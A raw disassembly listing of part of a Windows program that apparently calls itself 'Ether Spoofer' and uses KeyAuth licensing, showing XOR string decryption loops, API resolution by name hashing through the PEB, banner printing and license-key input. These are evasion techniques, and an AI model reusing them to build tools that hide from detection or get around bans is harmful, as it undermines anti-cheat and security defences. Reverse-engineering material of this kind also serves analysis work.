movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14008c6a0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14008c6a0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x1400047b0
cmp r8d, 0x17
jge 0x140004900
movsxd rax, r8d
lea r9, [rbp + 0x20]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x17
jl 0x1400048d0
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 0xa0]
call fcn.1400030b0
nop
mov rbx, r12
mov rsi, qword [rbp + 0xb8]
mov rdi, qword [rbp + 0xa0]
mov r14, qword [rbp + 0xb0]
test r14, r14
je 0x140004962
nop
lea rax, [rbp + 0xa0]
cmp rsi, 0x10
cmovae rax, rdi
movzx edx, byte [rbx + rax]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000bd50
mov ecx, reloc.WS2_32.dll_sendto
call qword [sym.imp.KERNEL32.dll_Sleep]
inc rbx
cmp rbx, r14
jne 0x140004930
cmp rsi, 0x10
jb 0x14000499c
lea rdx, [rsi + 1]
mov rax, rdi
cmp rdx, 0x1000
jb 0x140004994
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004994
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rdi
call fcn.14006ed14
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140004a26
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140004a26
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0xf0f1c553
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140004a21
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140004a00
cmp r8d, 0xa79c0ad6
je 0x140004a2b
test r9d, r9d
jne 0x1400049e0
mov rax, qword [rax]
jmp 0x1400049b0
mov edx, dword [rdi + 0x1c]
add rdx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rdx + rax*4]
add rdx, r10
mov ecx, 0x4b0
call rdx
nop dword [rax]
mov eax, dword [0x140083acc]
mov dword [rsp + 0x48], eax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140004ae6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140004ae6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x252aa36b
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140004ae1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140004ac0
cmp r8d, 0x6ee29d12
je 0x140004aeb
test r9d, r9d
jne 0x140004aa0
mov rax, qword [rax]
jmp 0x140004a70
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r11d, dword [rcx + rax*4]
add r11, r10
cmp r13d, 2
jl 0x140004b9d
movdqa xmm3, xmmword [0x14008c670]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x14008c6c0]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x14008c6c0]
shufps xmm2, xmm0, 0xdd
movd xmm0, r15d
psrad xmm2, xmm0
mov r14d, Ordinal_32
movd xmm0, r14d
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x14008c690]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14008c6a0]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.9999999999999999O]
movd xmm0, dword [rsp + 0x48]
pxor xmm2, xmm0
movd dword [rsp + 0x48], xmm2
jmp 0x140004be6
lea r9, [rsp + 0x48]
mov r8d, r12d
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140004bb0
mov r14d, Ordinal_32
lea rcx, [rsp + 0x48]
call r11
nop
lea rax, [rsp + 0x60]
mov qword [rsp + 0x50], rax
lea rdx, [0x1400822a0]
lea rcx, [rsp + 0x60]
call fcn.1400030b0
mov rbx, rax
lea rdx, str._______________________________________________
lea rcx, [rbp - 0x20]
call fcn.1400030b0
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x70]
call fcn.14000ca60
nop
lea rax, [rbp - 0x70]
mov qword [rbp + 0x260], rax
lea rax, [rbp - 0x48]
mov qword [rbp + 0x268], rax
lea rdx, [rbp + 0x260]
lea rcx, [rbp]
call fcn.14000c850
mov esi, dword [rsp + 0x40]
or esi, 0x10
mov dword [rsp + 0x40], esi
lea r9, [fcn.140002200]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x70]
call fcn.14006e9f4
and esi, 0xffffffef
mov dword [rsp + 0x40], esi
lea rcx, [rbp]
call fcn.14000b560
lea rdx, str._______________________________________________________________________________________________________________________________n______________.________________________n____________________________________n______________________________n______________Y_______________n_______________________________n____________________________________n_______________________________________________n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000bf10
mov rcx, rax
mov dl, 0xa
call fcn.14000bd50
mov rdi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rax, [rsp + 0x60]
mov qword [rsp + 0x50], rax
lea rdx, [0x1400822a0]
lea rcx, [rsp + 0x60]
call fcn.1400030b0
mov rbx, rax
lea rdx, str._n_n_n___
lea rcx, [rbp - 0x20]
call fcn.1400030b0
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x70]
call fcn.14000ca60
nop
lea rax, [rbp - 0x70]
mov qword [rbp + 0x270], rax
lea rax, [rbp - 0x48]
mov qword [rbp + 0x278], rax
lea rdx, [rbp + 0x270]
lea rcx, [rbp + 0x280]
call fcn.14000c850
or esi, 0x20
mov dword [rsp + 0x40], esi
lea r9, [fcn.140002200]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x70]
call fcn.14006e9f4
lea rdx, [rbp + 0x280]
mov rcx, rdi
call fcn.14000c0e0
and esi, 0xffffffdf
mov dword [rsp + 0x40], esi
lea rcx, [rbp + 0x280]
call fcn.14000b560
mov rdi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rax, [rsp + 0x60]
mov qword [rsp + 0x50], rax
lea rdx, [0x140082248]
lea rcx, [rsp + 0x60]
call fcn.1400030b0
mov rbx, rax
lea rdx, [0x140082560]
lea rcx, [rbp - 0x20]
call fcn.1400030b0
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x70]
call fcn.14000ca60
nop
lea rax, [rbp - 0x70]
mov qword [rbp + 0x290], rax
lea rax, [rbp - 0x48]
mov qword [rbp + 0x298], rax
lea rdx, [rbp + 0x290]
lea rcx, [rbp + 0x2a0]
call fcn.14000c850
or esi, 0x40
mov dword [rsp + 0x40], esi
lea r9, [fcn.140002200]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x70]
call fcn.14006e9f4
lea rdx, [rbp + 0x2a0]
mov rcx, rdi
call fcn.14000c0e0
and esi, 0xffffffbf
mov dword [rsp + 0x40], esi
lea rcx, [rbp + 0x2a0]
call fcn.14000b560
mov rdi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rax, [rsp + 0x60]
mov qword [rsp + 0x50], rax
lea rdx, [0x1400822a0]
lea rcx, [rsp + 0x60]
call fcn.1400030b0
mov rbx, rax
lea rdx, [0x140082564]
lea rcx, [rbp - 0x20]
call fcn.1400030b0
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x70]
call fcn.14000ca60
nop
lea rax, [rbp - 0x70]
mov qword [rbp + 0x2b0], rax
lea rax, [rbp - 0x48]
mov qword [rbp + 0x2b8], rax
lea rdx, [rbp + 0x2b0]
lea rcx, [rbp + 0x2c0]
call fcn.14000c850
bts esi, 7
mov dword [rsp + 0x40], esi
lea r9, [fcn.140002200]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x70]
call fcn.14006e9f4
lea rdx, [rbp + 0x2c0]
mov rcx, rdi
call fcn.14000c0e0
btr esi, 7
mov dword [rsp + 0x40], esi
lea rcx, [rbp + 0x2c0]
call fcn.14000b560
lea rdx, str.Welcome_To_Ether_Spoofer
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000bf10
mov rdi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rax, [rsp + 0x60]
mov qword [rsp + 0x50], rax
lea rdx, [0x1400822a0]
lea rcx, [rsp + 0x60]
call fcn.1400030b0
mov rbx, rax
lea rdx, str._n___
lea rcx, [rbp - 0x20]
call fcn.1400030b0
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x70]
call fcn.14000ca60
nop
lea rax, [rbp - 0x70]
mov qword [rbp + 0x2d0], rax
lea rax, [rbp - 0x48]
mov qword [rbp + 0x2d8], rax
lea rdx, [rbp + 0x2d0]
lea rcx, [rbp + 0x2e0]
call fcn.14000c850
bts esi, 8
mov dword [rsp + 0x40], esi
lea r9, [fcn.140002200]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x70]
call fcn.14006e9f4
lea rdx, [rbp + 0x2e0]
mov rcx, rdi
call fcn.14000c0e0
btr esi, 8
mov dword [rsp + 0x40], esi
lea rcx, [rbp + 0x2e0]
call fcn.14000b560
mov rdi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rax, [rsp + 0x60]
mov qword [rsp + 0x50], rax
lea rdx, [0x140082248]
lea rcx, [rsp + 0x60]
call fcn.1400030b0
mov rbx, rax
lea rdx, [0x140082560]
lea rcx, [rbp - 0x20]
call fcn.1400030b0
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x70]
call fcn.14000ca60
nop
lea rax, [rbp - 0x70]
mov qword [rbp + 0x2f0], rax
lea rax, [rbp - 0x48]
mov qword [rbp + 0x2f8], rax
lea rdx, [rbp + 0x2f0]
lea rcx, [rbp + 0x300]
call fcn.14000c850
bts esi, 9
mov dword [rsp + 0x40], esi
lea r9, [fcn.140002200]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x70]
call fcn.14006e9f4
lea rdx, [rbp + 0x300]
mov rcx, rdi
call fcn.14000c0e0
btr esi, 9
mov dword [rsp + 0x40], esi
lea rcx, [rbp + 0x300]
call fcn.14000b560
mov rdi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rax, [rsp + 0x60]
mov qword [rsp + 0x50], rax
lea rdx, [0x1400822a0]
lea rcx, [rsp + 0x60]
call fcn.1400030b0
mov rbx, rax
lea rdx, [0x140082564]
lea rcx, [rbp - 0x20]
call fcn.1400030b0
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x70]
call fcn.14000ca60
nop
lea rax, [rbp - 0x70]
mov qword [rbp + 0x310], rax
lea rax, [rbp - 0x48]
mov qword [rbp + 0x318], rax
lea rdx, [rbp + 0x310]
lea rcx, [rbp + 0x320]
call fcn.14000c850
bts esi, 0xa
mov dword [rsp + 0x40], esi
lea r9, [fcn.140002200]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x70]
call fcn.14006e9f4
lea rdx, [rbp + 0x320]
mov rcx, rdi
call fcn.14000c0e0
btr esi, 0xa
mov dword [rsp + 0x40], esi
lea rcx, [rbp + 0x320]
call fcn.14000b560
lea rdx, str.Connected_to_KeyAuth_
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000bf10
mov rdi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rax, [rsp + 0x60]
mov qword [rsp + 0x50], rax
lea rdx, [0x1400822a0]
lea rcx, [rsp + 0x60]
call fcn.1400030b0
mov rbx, rax
lea rdx, str._n___
lea rcx, [rbp - 0x20]
call fcn.1400030b0
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x70]
call fcn.14000ca60
nop
lea rax, [rbp - 0x70]
mov qword [rbp + 0x330], rax
lea rax, [rbp - 0x48]
mov qword [rbp + 0x338], rax
lea rdx, [rbp + 0x330]
lea rcx, [rbp + 0x340]
call fcn.14000c850
bts esi, 0xb
mov dword [rsp + 0x40], esi
lea r9, [fcn.140002200]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x70]
call fcn.14006e9f4
lea rdx, [rbp + 0x340]
mov rcx, rdi
call fcn.14000c0e0
btr esi, 0xb
mov dword [rsp + 0x40], esi
lea rcx, [rbp + 0x340]
call fcn.14000b560
mov rdi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rax, [rsp + 0x60]
mov qword [rsp + 0x50], rax
lea rdx, [0x140082248]
lea rcx, [rsp + 0x60]
call fcn.1400030b0
mov rbx, rax
lea rdx, [0x140082560]
lea rcx, [rbp - 0x20]
call fcn.1400030b0
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x70]
call fcn.14000ca60
nop
lea rax, [rbp - 0x70]
mov qword [rbp + 0x350], rax
lea rax, [rbp - 0x48]
mov qword [rbp + 0x358], rax
lea rdx, [rbp + 0x350]
lea rcx, [rbp + 0x360]
call fcn.14000c850
bts esi, 0xc
mov dword [rsp + 0x40], esi
lea r9, [fcn.140002200]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x70]
call fcn.14006e9f4
lea rdx, [rbp + 0x360]
mov rcx, rdi
call fcn.14000c0e0
btr esi, 0xc
mov dword [rsp + 0x40], esi
lea rcx, [rbp + 0x360]
call fcn.14000b560
mov rdi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rax, [rsp + 0x60]
mov qword [rsp + 0x50], rax
lea rdx, [0x1400822a0]
lea rcx, [rsp + 0x60]
call fcn.1400030b0
mov rbx, rax
lea rdx, [0x140082564]
lea rcx, [rbp - 0x20]
call fcn.1400030b0
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x70]
call fcn.14000ca60
nop
lea rax, [rbp - 0x70]
mov qword [rbp + 0x370], rax
lea rax, [rbp - 0x48]
mov qword [rbp + 0x378], rax
lea rdx, [rbp + 0x370]
lea rcx, [rbp + 0x380]
call fcn.14000c850
bts esi, 0xd
mov dword [rsp + 0x40], esi
lea r9, [fcn.140002200]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x70]
call fcn.14006e9f4
lea rdx, [rbp + 0x380]
mov rcx, rdi
call fcn.14000c0e0
btr esi, 0xd
mov dword [rsp + 0x40], esi
lea rcx, [rbp + 0x380]
call fcn.14000b560
lea rcx, str.auth_to_etherwoof
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
movups xmm0, xmmword [str.TOYO]
movups xmmword [rbp + 0x20], xmm0
movzx eax, word [0x140083b68]
mov word [rbp + 0x30], ax
cmp byte [0x140083b69], 0
je 0x1400054e0
mov r8d, r12d
cmp r13d, 2
jl 0x140005497
movdqa xmm5, xmmword [0x14008c670]
movdqa xmm4, xmmword [0x14008c6c0]
movd xmm6, r15d
movdqa xmm7, xmmword [0x14008c690]
movd xmm8, r14d
movdqa xmm0, xmmword [str.9999999999999999O]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x24]
mov edx, dword [rsp + 0x50]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14008c6a0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14008c6a0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140005390
cmp r8d, 0x12
jge 0x1400054e0
movsxd rax, r8d
lea r9, [rbp + 0x20]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x12
jl 0x1400054b0
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 0xa0]
call fcn.1400030b0
nop
mov rbx, r12
mov r14, qword [rbp + 0xb8]
mov rdi, qword [rbp + 0xa0]
mov r15, qword [rbp + 0xb0]
test r15, r15
je 0x140005542
nop
lea rax, [rbp + 0xa0]
cmp r14, 0x10
cmovae rax, rdi
movzx edx, byte [rax + rbx]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000bd50
mov ecx, reloc.WS2_32.dll_sendto
call qword [sym.imp.KERNEL32.dll_Sleep]
inc rbx
cmp rbx, r15
jne 0x140005510
cmp r14, 0x10
jb 0x140005579
lea rdx, [r14 + 1]
mov rax, rdi
cmp rdx, 0x1000
jb 0x140005571
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000b539
mov rcx, rdi
call fcn.14006ed14
lea rcx, [0x140098080]
call fcn.140018e50
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.14000c190
lea rdx, [0x1400970d8]
lea rcx, [rsp + 0x60]
call fcn.14000b8e0
mov rdx, rax
lea rcx, [0x140098080]
call fcn.14001a440
mov rdi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
cmp byte [0x140098298], 0
jne 0x140005b0e
lea rax, [rsp + 0x60]
mov qword [rsp + 0x50], rax
lea rdx, [0x1400822a0]
lea rcx, [rsp + 0x60]
call fcn.1400030b0
mov rbx, rax
lea rdx, str._n___
lea rcx, [rbp - 0x20]
call fcn.1400030b0
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x70]
call fcn.14000ca60
nop
lea rax, [rbp - 0x70]
mov qword [rbp + 0x390], rax
lea rax, [rbp - 0x48]
mov qword [rbp + 0x398], rax
lea rdx, [rbp + 0x390]
lea rcx, [rbp + 0x3a0]
call fcn.14000c850
bts esi, 0xf
mov dword [rsp + 0x40], esi
lea r9, [fcn.140002200]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x70]
call fcn.14006e9f4
lea rdx, [rbp + 0x3a0]
mov rcx, rdi
call fcn.14000c0e0
btr esi, 0xf
mov dword [rsp + 0x40], esi
lea rcx, [rbp + 0x3a0]
call fcn.14000b560
mov rdi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rax, [rsp + 0x60]
mov qword [rsp + 0x50], rax
lea rdx, [0x140082248]
lea rcx, [rsp + 0x60]
call fcn.1400030b0
mov rbx, rax
lea rdx, [0x140082560]
lea rcx, [rbp - 0x20]
call fcn.1400030b0
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x70]
call fcn.14000ca60
nop
lea rax, [rbp - 0x70]
mov qword [rbp + 0x3b0], rax
lea rax, [rbp - 0x48]
mov qword [rbp + 0x3b8], rax
lea rdx, [rbp + 0x3b0]
lea rcx, [rbp + 0x3c0]
call fcn.14000c850
bts esi, 0x10
mov dword [rsp + 0x40], esi
lea r9, [fcn.140002200]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x70]
call fcn.14006e9f4
lea rdx, [rbp + 0x3c0]
mov rcx, rdi
call fcn.14000c0e0
btr esi, 0x10
mov dword [rsp + 0x40], esi
lea rcx, [rbp + 0x3c0]
call fcn.14000b560
mov rdi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rax, [rsp + 0x60]
mov qword [rsp + 0x50], rax
lea rdx, [0x1400822a0]
lea rcx, [rsp + 0x60]
call fcn.1400030b0
mov rbx, rax
lea rdx, [0x140082564]
lea rcx, [rbp - 0x20]
call fcn.1400030b0
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x70]
call fcn.14000ca60
nop
lea rax, [rbp - 0x70]
mov qword [rbp + 0x3d0], rax
lea rax, [rbp - 0x48]
mov qword [rbp + 0x3d8], rax
lea rdx, [rbp + 0x3d0]
lea rcx, [rbp + 0x3e0]
call fcn.14000c850
bts esi, 0xe
mov dword [rsp + 0x40], esi
lea r9, [fcn.140002200]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x70]
call fcn.14006e9f4
lea rdx, [rbp + 0x3e0]
mov rcx, rdi
call fcn.14000c0e0
btr esi, 0xe
mov dword [rsp + 0x40], esi
lea rcx, [rbp + 0x3e0]
call fcn.14000b560
movups xmm0, xmmword [str.pTM_QW___r__5_di]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [0x140083b38]
movups xmmword [rbp - 0x60], xmm1
movsd xmm0, qword [0x140083b48]
movsd qword [rbp - 0x50], xmm0
mov eax, dword [0x140083b50]
mov dword [rbp - 0x48], eax
movzx eax, word [0x140083b54]
mov word [rbp - 0x44], ax
movzx eax, byte [0x140083b56]
mov byte [rbp - 0x42], al
mov r8d, r12d
mov r15d, 4
cmp r13d, 2
jl 0x140005977
movdqa xmm5, xmmword [0x14008c670]
movdqa xmm4, xmmword [0x14008c6c0]
movd xmm6, r15d
movdqa xmm7, xmmword [0x14008c690]
mov eax, Ordinal_32
movd xmm8, eax
movdqa xmm0, xmmword [str.9999999999999999O]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp - 0x6c]
mov edx, dword [rsp + 0x50]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14008c6a0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14008c6a0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140005870
cmp r8d, 0x2f
jge 0x1400059c0
movsxd rax, r8d
lea r9, [rbp - 0x70]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2f
jl 0x140005990
lea rdx, [rbp - 0x70]
lea rcx, [rbp + 0x20]
call fcn.1400030b0
nop
mov rbx, r12
mov rsi, qword [rbp + 0x38]
mov rdi, qword [rbp + 0x20]
mov r14, qword [rbp + 0x30]
test r14, r14
je 0x140005a1f
nop dword [rax]
nop word [rax + rax]
lea rax, [rbp + 0x20]
cmp rsi, 0x10
cmovae rax, rdi
movzx edx, byte [rax + rbx]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000bd50
mov ecx, reloc.WS2_32.dll_sendto
call qword [sym.imp.KERNEL32.dll_Sleep]
inc rbx
cmp rbx, r14
jne 0x1400059f0
cmp rsi, 0x10
jb 0x140005a56
lea rdx, [rsi + 1]
mov rax, rdi
cmp rdx, 0x1000
jb 0x140005a4e
add rdx, 0x27
